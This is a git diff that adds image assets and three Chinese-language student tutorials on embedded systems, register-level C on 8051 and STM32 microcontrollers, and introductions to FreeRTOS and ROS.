diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsGpqCNePn2G34GnJqPieBf.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsGpqCNePn2G34GnJqPieBf.png
new file mode 100644
index 0000000..75fce0a
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsGpqCNePn2G34GnJqPieBf.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png
new file mode 100644
index 0000000..e155efe
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnsm0cJGKqt0AU8Kv3K3rkKg.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnssaOVvp73SVIrzVvZPr1Je.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnssaOVvp73SVIrzVvZPr1Je.png
new file mode 100644
index 0000000..3462815
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnssaOVvp73SVIrzVvZPr1Je.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcntFGELTpdcVoigy5ldCorAb.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcntFGELTpdcVoigy5ldCorAb.png
new file mode 100644
index 0000000..068e637
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcntFGELTpdcVoigy5ldCorAb.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv2inISAGi2xOauc3pxKpCb.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv2inISAGi2xOauc3pxKpCb.png
new file mode 100644
index 0000000..88541f1
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv2inISAGi2xOauc3pxKpCb.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv4dRbGDg9eemcyQFREYs0b.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv4dRbGDg9eemcyQFREYs0b.png
new file mode 100644
index 0000000..9959b33
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnv4dRbGDg9eemcyQFREYs0b.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvBzqwCn9i8GGBIkMFEs3ne.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvBzqwCn9i8GGBIkMFEs3ne.png
new file mode 100644
index 0000000..c75fcfc
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvBzqwCn9i8GGBIkMFEs3ne.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvQiaAx6WgPx64s8fBklVwh.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvQiaAx6WgPx64s8fBklVwh.png
new file mode 100644
index 0000000..2872b2b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnvQiaAx6WgPx64s8fBklVwh.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwH75jIO9NiVwQaBqDrbe8e.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwH75jIO9NiVwQaBqDrbe8e.png
new file mode 100644
index 0000000..5a77196
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwH75jIO9NiVwQaBqDrbe8e.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwWnoEDulgWdqGkY0WeYogc.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwWnoEDulgWdqGkY0WeYogc.png
new file mode 100644
index 0000000..a0c3148
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwWnoEDulgWdqGkY0WeYogc.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwcDWIDvLnuvZ1uOb75QKPh.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwcDWIDvLnuvZ1uOb75QKPh.png
new file mode 100644
index 0000000..c0384d7
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwcDWIDvLnuvZ1uOb75QKPh.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwl72wntQgYMFvRPTWY5fPf.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwl72wntQgYMFvRPTWY5fPf.png
new file mode 100644
index 0000000..b7204a6
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnwl72wntQgYMFvRPTWY5fPf.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxPsUwwhcCC0zBerZ2s88ld.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxPsUwwhcCC0zBerZ2s88ld.png
new file mode 100644
index 0000000..2925c74
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxPsUwwhcCC0zBerZ2s88ld.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png
new file mode 100644
index 0000000..7e9b6e7
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxdyWA6Sj82kNxMlQ1b9hDg.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxltvaT52E6mu6JIYaKvM1X.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxltvaT52E6mu6JIYaKvM1X.png
new file mode 100644
index 0000000..dde2df8
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxltvaT52E6mu6JIYaKvM1X.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg
new file mode 100644
index 0000000..f9dbcec
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxn5GlJZmsrMV5qKNwMlDPc.jpg differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxvqC7FKt1qeCZoI2kVf9yg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxvqC7FKt1qeCZoI2kVf9yg.png
new file mode 100644
index 0000000..c321518
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnxvqC7FKt1qeCZoI2kVf9yg.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyh6pakAkcxCKq6pLylSdef.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyh6pakAkcxCKq6pLylSdef.png
new file mode 100644
index 0000000..0e6b6c3
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyh6pakAkcxCKq6pLylSdef.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg
new file mode 100644
index 0000000..04503f7
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnyuV5HCumJMhyW7Cb3HSxcg.jpg differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnz03UebyZ42JNOXpdUfjMBg.png b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnz03UebyZ42JNOXpdUfjMBg.png
new file mode 100644
index 0000000..5d74a91
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/boxcnz03UebyZ42JNOXpdUfjMBg.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/srt2023newqqgroup.png b/技术资源汇总(杭电支持版)/4.人工智能/static/srt2023newqqgroup.png
new file mode 100644
index 0000000..7e42dd3
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/srt2023newqqgroup.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/推荐引擎的架构.png b/技术资源汇总(杭电支持版)/4.人工智能/static/推荐引擎的架构.png
new file mode 100644
index 0000000..05aa35c
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/推荐引擎的架构.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统外围架构图.png b/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统外围架构图.png
new file mode 100644
index 0000000..896acf4
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统外围架构图.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统的架构图.png b/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统的架构图.png
new file mode 100644
index 0000000..9933057
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/推荐系统的架构图.png differ
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/static/用户物品二分图模型.png b/技术资源汇总(杭电支持版)/4.人工智能/static/用户物品二分图模型.png
new file mode 100644
index 0000000..11c793b
Binary files /dev/null and b/技术资源汇总(杭电支持版)/4.人工智能/static/用户物品二分图模型.png differ
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.1嵌入式是什么？可以吃吗？.md b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.1嵌入式是什么？可以吃吗？.md
new file mode 100644
index 0000000..3a3b9ba
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.1嵌入式是什么？可以吃吗？.md
@@ -0,0 +1,56 @@
+# 嵌入式是什么？可以吃吗？
+
+> Author：肖扬
+
+## 概念引入与讲解
+
+刚开始接触嵌入式的人，往往会有这样的疑惑：嵌入式到底是什么？
+
+这不是因为那些人没有完全入门嵌入式，而是因为在嵌入式的学习过程中你会发现，它的概念会越来越大，逐渐模糊了你的认知，就拿一张某乎上的照片而言：
+
+![](https://cdn.xyxsw.site/boxcny07MPlh99IIS5yxAdL4iDb.png)
+
+可见嵌入式的概念之广。
+
+而我也常常遇到学弟学妹们去向我提问：什么是嵌入式？
+
+我觉得以我通俗的话来讲就是：在硬件设备上写软件代码。虽然这种说法并不是完全准确，但是对于初学者而言暂时性的保持这样的认知，在探索嵌入式的过程中不断完善自己的学习体系，已是极好。
+
+不如举一个大学里玩嵌入式的常见概念吧：机器人。
+
+这玩意儿大家估计不陌生，比如你去酒店里，也许会有一个可以坐电梯上下楼层来完成特定任务的机器人（说实话高二在某季酒店第一次见的时候还蛮新鲜）
+
+![](https://cdn.xyxsw.site/boxcn99MPmacSrXPkIgQ13FLABc.jpg)
+
+而它也是一个嵌入式产品（或者说它们）。
+
+这是相对来说较为复杂的嵌入式系统，在我看来它需要的技能可能包括：基础人机交互（客房电话、前台终端）、基础运动控制、多机交互与编队（与其他机器人、电梯系统之间的交互）、图像处理、目标检测、目标识别、语音识别、路径规划等等。
+
+再介绍一个我常举的例子：智能手表。
+
+比如某米的经典智能运动手环，可以心率检测、可以登录 wx 等平台、可以完成相应的运动检测等等
+
+在嵌入式开发者的眼里，这会是一款成功的作品（当然考虑到了它的营销方面），它用通用嵌入式操作系统 + 应用软件的高端嵌入式系统结构，在满足系统对功能、功耗等要求的前提下，能将产品价格维持在一个较低的水平上，并且在我看来其 GUI 设计非常的令人舒适。
+
+塞一个我认为很帅的 DIY 自行车码表，其 UI 设计也相当的棒。
+<Bilibili bvid='BV1GB4y1K7VV'/>
+
+还有一个我最近关注的一个博主，我喜欢其富有想法的创造力与强大的执行力。
+<Bilibili bvid='BV1YG4y177Mq'/>
+
+## 想说的话
+
+相信到这里，你对嵌入式或者嵌入式产品已经有了初步的认识。
+
+说相对实在点的东西的话：在大学中，或者在杭州电子科技大学，学了嵌入式的一些基础知识后你可以去参与一些相关的竞赛（全国大学生电子设计竞赛、全国大学生智能车竞赛、全国大学生工程实践与创新能力大赛、Robot Master 机甲大师竞赛等等），也许你已经了解到杭电的环境会让你不断地接触许许多多的竞赛，在竞赛的学习过程中你可以获得一定的能力、获得一定的感悟，也许能获得到一定的荣誉，如果你足够优秀的话可以最后保研上岸，成为别人眼里的佼佼者。
+
+**但是，笔者想说的是：**
+
+大学不再是像从前那般循规蹈矩，你可以在大学的生活中尝试各种各样的事情，这四年时光本就是一个不断试错的过程。如果你本身对竞赛十分感兴趣，或者说想要通过竞赛让自己之后的路走的更加顺畅，那么我会祝愿你能学有所成，并且最终能获得到自己满意的成绩；
+
+**但我更希望你是真正地对嵌入式感兴趣，热爱创造它的时光，热爱披荆斩棘后成功的欣喜，热爱它的生命，热爱它赋予你的意义...在这段学习历程中，竞赛会是你成长的一部分，但不是全部，也不能是全部。作为一个伪理想主义者（我认为完全的理想主义者不会痛苦，只有现实的理想主义者才会痛不欲生），生命中总会有更重要的东西，比如爱，无论是喜爱还是热爱，比如人，无论是亲朋还是蒹葭。**
+
+科技的最终意义是提高生产力，但科技带来的意义也远不止于此，我希望你们在接下来学习嵌入式的过程中，能不忘本心，钦佩自己的永远独立，钦佩自己的永远自由，不被世界的功利化所迷惑，感受嵌入式那独特而又真实的生命力！
+
+Ps：可以去看看韩健夫老师写的一篇文章，相信你会有更多的感悟[人文社科的重要性（韩健夫老师寄语）](/1.杭电生存指南/1.1人文社科的重要性（韩健夫老师寄语）)
+最后，欢迎来到嵌入式王国：）
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.2New meaning of C.md b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.2New meaning of C.md
new file mode 100644
index 0000000..35ae1fd
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.2New meaning of C.md	
@@ -0,0 +1,157 @@
+# New meaning of C
+
+> Author：肖扬
+
+在上一篇文章中，我们介绍了嵌入式相关的产品，其中芯片充当着及其重要的作用，本篇我们将以孵化器实验室的部分考核流程与教程作为参考，并且加以一定的概念解析，逐步地为大家解开单片机裸机开发的面纱。
+
+PS：在学习此模块之前，我希望你们能熟练掌握 C 语言的基础知识，特别是指针方面的内容。
+
+如果你还没有完成 C 语言的学习，可以参考此文章：[3.4C 语言](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.4C%E8%AF%AD%E8%A8%80.md)
+
+## STC89C52--一款入门级的芯片
+
+### 相关介绍
+
+Intel 的 STC89C51\C52 系列早在上世纪 80 年代就已经广泛运用，考虑到其精简但较为充足的硬件资源以及其低廉的价格，笔者十分建议可以从 51 单片机系列开始去接触整个嵌入式行业（因为你需要知道自己适不适合进入到嵌入式行业，大学本就是一个试错的过程，而低廉的价格使得其试错成本变得很低）
+
+以下是比较推荐的学习路线：
+
+1、购买 51 单片机：[CZ0001「普中 51 单片机学习板开发板 stc89c52 单片机实验板 C51 单片机 diy 套件」](https://m.tb.cn/h.UuGJR5G?tk=kN94dm040JX)
+
+2、推荐学习视频：[【51 单片机入门教程 -2020 版 程序全程纯手打 从零开始入门】](https://b23.tv/KmaWgUK)
+
+3、相关学习资料：
+
+软件安装包、开发板资料、课件及程序源码百度网盘链接：
+
+[https://pan.baidu.com/s/1vDTN2o8ffvczzNQGfyjHng](https://pan.baidu.com/s/1vDTN2o8ffvczzNQGfyjHng) 提取码：gdzf，链接里压缩包的解压密码：51，如果打不开请复制链接到浏览器再打开
+
+
+
+## 寄存器（VERRY--IMPORTANT!!!）
+
+相信学完 C51 的内容，你已经对寄存器有了一定的了解。
+
+但是由于其重要性，以及为了巩固各位的基础知识，防止出现有些人学了 A 只会 A，学了 B 只会 B，而不会 CDEF...的现象，所以这里我必须要着重重新讲解一下寄存器的概念。
+
+在 C 语言中我们有 int、short、long 等变量，实际上 C 语言中还可以定义一个寄存器变量（register）。
+
+那么为什么需要寄存器呢，或者说我们为什么需要一个寄存器变量呢。
+
+这里我不从计算机组成原理或者微机接口与技术的概念入手，而是举一个简单的例子：
+
+如果我们在图书馆上准备看书，去获取知识，此时我们是 CPU、书则是数据。
+
+如果我们去图书馆里的书架上拿书并观看，则需要：走到对应书架 - 拿书（获取数据）- 回到书桌，这需要花费相当一部分的时间，此时硬盘相当于书架；如果我们直接拿书桌上的书，则相对速度会快很多，此时书桌相当于主存；如果我们手上就有一本书，那么我们低头就可以看到，手就相当于寄存器。所以，寄存器是 CPU 内部用来存放数据的一些小型的存储区域，用来暂时存放参与运算的数据和运算结果以及一些 CPU 运行所需要的信息。
+
+以我举例而言，**可见寄存器获得数据的速度会快于主存与硬盘，而存储数据的大小将会小于主存与硬盘**，如果这块不清楚的话也可以去看 也许你会用上的基础知识 中的存储器知识部分。
+
+而从汇编语言的角度来讲（此为 Intel 的汇编语法）：
+
+```asm
+WAIT_FOR_TIMER:
+    MOV A, LED_COUNT              ;读取当前亮灯的编号
+    CJNE A, #00H, NOT_FIRST_LED   ;如果不是第一个灯，则跳转到NOT_FIRST_LED标签
+    MOV A, #03H                   ;如果是第一个灯，则将延时设为3秒
+    SJMP DELAY                    ;跳转到延时
+NOT_FIRST_LED:
+    .......
+DELAY:
+    .......
+;此汇编代码块中，累加器A作为一个常用的特殊寄存器，充当着暂时存储数据信息的作用
+;存储LED_COUNT的编号并用于比较大小，存储所需延时时间并用于DELAY块
+```
+
+```asm
+ORG 0BH
+    PUSH ACC ; 保存寄存器状态
+    PUSH PSW
+    ......
+    POP PSW ; 恢复寄存器状态
+    POP ACC
+    RETI ; 返回中断
+;此汇编代码块用于基本的中断处理，我们需要保存ACC、PSW的状态来维持中断以及中断后程序的正常进行
+```
+
+以上简单例举了寄存器的一般作用，以汇编语言出发去讲的原因是：它能有效地展现底层代码的工作原理，既不会像机器语言那样只用 0、1 表示的晦涩难懂，又不会像高级语言那般难以直观地看到底层的工作方式。但是，我们做嵌入式入门开发的过程中并不会让你直接去写汇编语言，而是以最基础的 C 语言（相比汇编而言，C 在功能上、结构性、可读性、可维护性上有明显的优势），通过 Keil、IAR 等拥有交叉编译器的 C 语言软件开发系统来完成高级语言、汇编语言、机器语言的转码工作，从而通过 C 语言的编写来控制单片机等嵌入式系统的开发。
+
+而抽象层面的 C 代码需要通过访问寄存器来直接控制硬件。所以在嵌入式开发的过程中，C 有了特殊的含义：**C 里的数字代表的可能只是一个地址或者一个数据，但是在嵌入式开发里，这样一个数字也可以代表着一种寄存器状态。**
+
+下面引入一个 STM32F1 系列的 GPIO 部分寄存器图（来源正点原子提供的 F1 参考手册）：
+
+![](https://cdn.xyxsw.site/MyDMbeCKLowC1Mx7Q6Ec9BLPn4g.png)
+
+![](https://cdn.xyxsw.site/LJ1SbFfv6oUIgtx8CstcbWTNnRg.png)
+
+如果我们想做一个简单的实验 - 驱动一个 LED 灯（假设此 LED 灯以 PB5 为输出驱动口），在对相应的 RCC 时钟等配置之外，最重要的是对相应的 GPIO 口的配置，首先我们查阅其寄存器的物理起始地址：
+
+![](https://cdn.xyxsw.site/CZ3cbiEhsoWDgJxhwXIcpUkAnMg.png)
+
+![](https://cdn.xyxsw.site/HTFUbsQCNouQVzx0QYiciQWOnZf.png)
+
+可见 GPIO 外设通过 APB2 总线进行地址定位与传输数据的，所以我们要控制 PB5 的话首先需要定位到对应的地址：
+
+```c
+#define PERIPH_BASE           ((uint32_t)0x40000000) //外设基址
+
+#define APB1PERIPH_BASE       PERIPH_BASE
+#define APB2PERIPH_BASE       (PERIPH_BASE + 0x10000) //APB2 基址
+#define AHBPERIPH_BASE        (PERIPH_BASE + 0x20000)
+
+#define AFIO_BASE             (APB2PERIPH_BASE + 0x0000)
+#define EXTI_BASE             (APB2PERIPH_BASE + 0x0400)
+#define GPIOA_BASE            (APB2PERIPH_BASE + 0x0800)
+#define GPIOB_BASE            (APB2PERIPH_BASE + 0x0C00)//GPIOB 基址，计算可得 0x40010C00
+#define GPIOC_BASE            (APB2PERIPH_BASE + 0x1000)
+#define GPIOD_BASE            (APB2PERIPH_BASE + 0x1400)
+#define GPIOE_BASE            (APB2PERIPH_BASE + 0x1800)
+#define GPIOF_BASE            (APB2PERIPH_BASE + 0x1C00)
+#define GPIOG_BASE            (APB2PERIPH_BASE + 0x2000)
+//APB2 还有相关定时器的基址，这里就不再展示
+
+#define GPIOB               ((GPIO_TypeDef *) GPIOB_BASE)
+```
+
+根据如上提供的 CRL、ODR 寄存器的功能映射，要使得 PB5 推挽输出且初始电平输出为高，则需要：
+
+```c
+void LED_Init(void)
+{
+        RCC->APB2ENR|=1<<3; //GPIOB 的时钟使能，只有使能对应的时钟后 GPIO 才能正常工作                               
+                    
+        GPIOB->CRL&=0XFF0FFFFF; //由图可知，CRL 的第 20-23 位控制 5 口，此举是对第 20-23 位清零
+        GPIOB->CRL|=0X00300000; //此举是对第 20-23 位赋值 0011，根据寄存器功能可知此代表 50Mhz 推挽输出        
+        GPIOB->ODR|=1<<5; //设置 ODR 第 5 位为 1，输出高电平    
+}
+```
+
+其中 GPIOB 的结构体如下所示：
+
+```c
+typedef struct
+{
+  __IO uint32_t CRL;
+  __IO uint32_t CRH;
+  __IO uint32_t IDR;
+  __IO uint32_t ODR;
+  __IO uint32_t BSRR;
+  __IO uint32_t BRR;
+  __IO uint32_t LCKR;
+} GPIO_TypeDef;
+```
+
+所以由以上提到的例子而言，C 语言可以从如下三方面进行与寄存器之间的控制：
+
+1. 寄存器的地址可以使用**指针变量**来访问。
+2. C 语言中的**结构体可以用于表示寄存器映射**。
+3. C 语言中的**位域可以用于表示寄存器中的位**。
+
+而且 C 语言中的内联汇编可以用于直接访问寄存器。在某些情况下，如果我们需要直接访问寄存器来完成复杂的硬件控制操作，则可以使用汇编语言指令来直接访问寄存器，从而实现复杂的硬件控制操作。常见的如，堆栈大小的设置等。
+
+```asm
+Stack_Size      EQU     0x00000400
+
+                AREA    STACK, NOINIT, READWRITE, ALIGN=3
+Stack_Mem       SPACE   Stack_Size
+__initial_sp
+```
diff --git a/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.3还玩裸机？上操作系统！.md b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.3还玩裸机？上操作系统！.md
new file mode 100644
index 0000000..14e9eff
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.3还玩裸机？上操作系统！.md
@@ -0,0 +1,172 @@
+# 还玩裸机？上操作系统！
+
+> Author：肖扬
+
+在 [New meaning of C](./5.2New%20meaning%20of%20C.md) 栏目中，我们已经从 stc51 单片机系列和 stm32 单片机系列进行了一定的裸机开发讲解，并且延伸到了通过相关的 datasheet 对刚接触到手的芯片进行开发（毕竟你总不能成为 stm32 开发工程师或者 cubemx 工程师对吧<del>【然鹅大多数急于求成的开发者往往忽视了这方面的能力，也许是为了更快入手竞赛】</del>）
+
+而在此栏目中，我们将讲述相关操作系统在嵌入式上的应用，让你的嵌入式产品更加的智慧！（当然裸机并不一定就比带操作系统的嵌入式产品差，只是应用方向不同或者说有时候需要考虑产品的成本问题）
+
+Ps：本栏目只例举几个目前开发工程中常见的操作系统的学习与开发，**具体的移植过程可 web 或者自行探索 - 相信我，出色的移植能力是嵌入式开发者必不可少的。**
+
+## RTOS
+
+MCU 本身就能做到一定的实时性，那为什么还是需要 RTOS（实时操作系统）呢，**其实评判实时系统的关键并不是系统对外部事件的处理速度，而是处理事件的时间的可预见性和确定性。**举个例子，Windows 操作系统在 CPU 没有其他任务时可以在很短的时间内对外部事件作出一定的响应，但是当某些后台任务在运行时，有时候响应速度会变得很慢甚至出现假死现象，这并不是因为 Windows 速度不够快或者效率不够高导致的，而是因为 Windows 对事件的响应不能提供准确性，所以其不能算作一个实时操作系统。**并且在笔者看来，实时操作系统除了可以达到完成每次任务所需时间的一致性外，其相应的操作系统产品（例如我们本栏目将重点介绍的 FreeRTOS，这里可以简单提一下为啥要选 FreeRTOS，显而易见因为-Free）还具有可以简化整体架构、开发等工作的作用。**
+
+RTOS 中最重要的概念则是“任务”。
+
+我们可以回想一下在 MCU 开发过程中，一般都是在 main 函数里做个 while（1）来完成大部分的处理，将一些相对来说对实时性要求高的函数（如 PID 控制器）扔到定时器中断当中，即应用程序是个无限的循环，是个单任务系统（前后台系统），while（1）作为后台，中断服务函数作为前台。这里采用了“正点原子”的一张图：
+
+![](https://cdn.xyxsw.site/boxcnFySF1Cd02I052V0a9glH1c.png)
+
+而 RTOS 则是一个多任务系统，那么它这么做有什么好处呢？
+
+2>1 嘛（乐），实际上在前后台系统中，你的每项 Task 要轮流排队等着上次 Task 执行结束后再进行自己的程序，大大影响了其系统的实时性要求；而 RTOS 中我们把整个 while（1）区分成了很多小任务，并且在表面上看起来这些任务运行起来像是同时进行，实际上是因为任务所需的时间较少导致它看起来像是并行，但这将会带来新的疑问，到底什么任务先执行呢？RTOS 就为此提供了任务的相关 API 接口，赋予任务相应的执行优先级属性，并通过任务调度器来控制任务的执行顺序。这里同样采用了“正点原子”的一张图：
+
+![](https://cdn.xyxsw.site/boxcntQgR61yRboDpyb1bpI10Xp.png)
+
+所以，**其实可以这么说：RTOS 将整个流程变成了很多个 while（1）【每个任务都是个 while（1）】。**
+
+并且根据我上述所描述的内容，一个任务需要的属性大致如下（以启动函数为例进行介绍）：
+
+```c
+#define START_TASK_PRIO        1             //任务优先级
+#define START_STK_SIZE         256           //任务堆栈大小
+TaskHandle_t StartTask_Handler;              //任务句柄
+void start_task(void *pvParameters);         //任务函数
+
+int main（）{
+    systemInit()；//硬件初始化
+    xTaskCreate( 
+        TaskFunction_t             start_task,           //任务函数
+        const char * const         "start_task",         //任务名称
+        const uint16_t             START_STK_SIZE,       //任务堆栈大小
+        void * const               NULL,                 //传递给任务函数的参数
+        UBaseType_t                START_TASK_PRIO,      //任务优先级
+        TaskHandle_t * const       StartTask_Handler     //任务句柄
+    ) 
+}
+```
+
+至于有关于任务的运行态、挂起态、就绪态、阻塞态等我便不在此栏目进行讲解，希望读者能根据以上的引入去学习 FreeRTOS 的开发，可供参考的文档或者学习视频如下：
+
+1、b 站正点原子官方 FreeRTOS 教学（在今年有做全面的更新，比之前讲的更为清晰，难得的优秀入门视频）
+
+<Bilibili bvid='BV19g411p7UT'/>
+
+2、FreeRTOS 官网（官网往往是最适合学习的地方）[www.freertos.org](http://www.freertos.org)
+
+## Linux（以 ROS 为例）
+
+首先，如果你不了解 Linux 系统的话，我建议你去 [附加模块：Linux](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.Y%20%E9%99%84%E5%8A%A0%E6%A8%A1%E5%9D%97%EF%BC%9ALinux.md) 中进行一定的学习。
+
+如果你不了解 Python，我建议你去以及 [3.6Python（灵巧的胶水）](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.6Python%EF%BC%88%E7%81%B5%E5%B7%A7%E7%9A%84%E8%83%B6%E6%B0%B4%EF%BC%89.md)中进行学习。
+
+如果你已经对以上所涉及到的方面有了一定的了解，那么欢迎来到机器人开发者的殿堂-Robot Operating System！
+
+由于硬件技术的飞速发展，针对于机器人软件设计的框架也面临着极大的挑战，而 ROS 的出现无异是所有机器人开发者的福音，因为如果按照以前的制作一个机器人流程来讲，也许你要经历以下步骤：硬件结构搭建、控制处理、相关算法构建等等，但是 ROS 的开源共享模式令其可以在其平台上巧妙利用别人的开源模型完成自己的机器人搭建，**也就是说 Ros 的出现打破了原本各个开发者（或团队）闭门造车的开发现象，使得其可以共享优秀的机器人应用软件，换句话说就是提高了机器人研发的软件复用率。（毕竟哪个团队都不可能同时在建图、导航、视觉等机器人应用方面处于顶尖位置）**
+
+![](https://cdn.xyxsw.site/boxcnRy7E27xggqNshXX3cu4J5Q.png)
+
+由于 ROS 中完成度最高的是 Ubuntu，所以我们建议你以此展开学习，当然你也可以选择 macOS、Debian 等 OS。
+
+但是 Linux 只是一个通用系统，并没有在机器人开发上提供相应的中间件，所以 ROS 提供了基于 TCP/UDP 的通信接口（机器人的工作当然需要通讯），在再此之上提供了相应的基础开发库供给至应用层。
+
+此时应用层则有个很重要的概念-Master（管理者），其负责管理整个系统的正常运行。如果我们需要获得比较成熟的相关领域开源机器人包，按以往的操作必将是进行一次比较复杂的移植（你需要考虑各种因素：比如硬件支持、与其他移植包是否冲突等等）。**但是在 ROS 系统中引入了功能包的概念，你可以在 ROS 社区中下载相关版本（与你的 ROS 版本相匹配）的机器人应用功能包，完成一次非常简单的移植过程（CV），你不需要关注其内部的具体运行机制，只需关注接口的定义与使用规则便可进行相应的二次开发（在 ROS 中你需要关注的是相关节点之间的关系，可以通过 rqt_graph 获取清晰的节点图），相当于给你做好了一个跟机器人开发有关的高集成度****SDK****平台。**（当然如果你感兴趣的话可以做一定的了解，但这将牵扯到相关内容的庞大体系，比如如果你想了解自主导航是如何运行的，你首先需要了解 SLAM 算法的运行机制以及激光雷达或者相关深度摄像机的运用，然后你需要了解什么是深度信息什么是里程计信息，为什么可以表示机器人的位置信息，要如何进行一些相关的位置信息修正，然后 bulabula。**以笔者自身的学习经历而言，学习相关的理论基础体系，将对你的二次开发有极大的帮助，而不会造成盲目使用接口的情况**）
+
